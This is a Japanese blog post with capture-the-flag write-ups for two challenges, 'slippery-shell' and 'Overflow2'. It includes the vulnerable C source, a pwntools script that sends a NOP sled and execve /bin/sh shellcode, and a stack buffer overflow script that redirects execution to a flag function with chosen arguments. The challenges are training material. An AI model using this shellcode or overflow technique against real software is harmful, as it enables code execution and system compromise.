前回からの続きです。
https://qiita.com/daihi_t/items/70f0a097ed25fd2ed3c5
slippery-shell
配布(されたと思われる)ソースコード
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <unistd.h>
# include <sys/types.h>
# define BUFSIZE 512
# define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter your shellcode:");
vuln(buf);
printf("%d",randomtest);
puts("Thanks! Executing from a random location now...");
int offset = (rand() % 256) + 1;
printf("%d\n",offset);
((void (*)())(buf+offset))();
puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
前回解いたhandy-shellcodeとほぼ同じに見えます。ただ、offsetが追加で定義されており、単にシェルコードを入力してもシェルをポップされることができません。
offsetはrand関数の結果を256で余剰算(%)し、0~256の範囲でランダムに値を取得し、bufに追加していることがわかります。
これを回避し、シェルコードのアドレスを指定できればシェルを起動できそうです。
回避するにはnop sledという方法を使えばよさそうです。
上記リンクにもあるとおり、nopは何も行わないことを意味するアセンブリ命令です。
以上のことから回答コードを作成します。
from pwn import *
target = process('./slippery-shell')
target.recvline()
payload = "\x90"*256
payload += "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
print(payload)
target.sendline(payload)
target.interactive()
シェルの起動に成功しました。
Overflow2
Ghidraで解析したところ、
前回解いたOverflow1に酷似しているように見えます。
main関数内でvuln関数が呼び出されているので、bofさせてflag関数を呼び出します。ただし、今回は引数を指定する必要があります。
Ghidraでのデコンパイル結果
以上の情報を踏まえて、回答コードを作成します。
from pwn import *
target = process('./Overflow2')
target.recvline()
# 埋め文字列
payload=b'A'*188
# flag関数の開始アドレス
payload +=p32(0x080485e6)
# vuln関数へのリターンアドレス(値は適当)
payload +=p32(0x41414141)
# 第一引数
payload +=p32(0xdeadbeef)
# 第二引数
payload+=p32(0xc0ded00d)
print(payload)
target.sendline(payload)
target.interactive()
flagが取れました。
※このflagは正式なものではありません。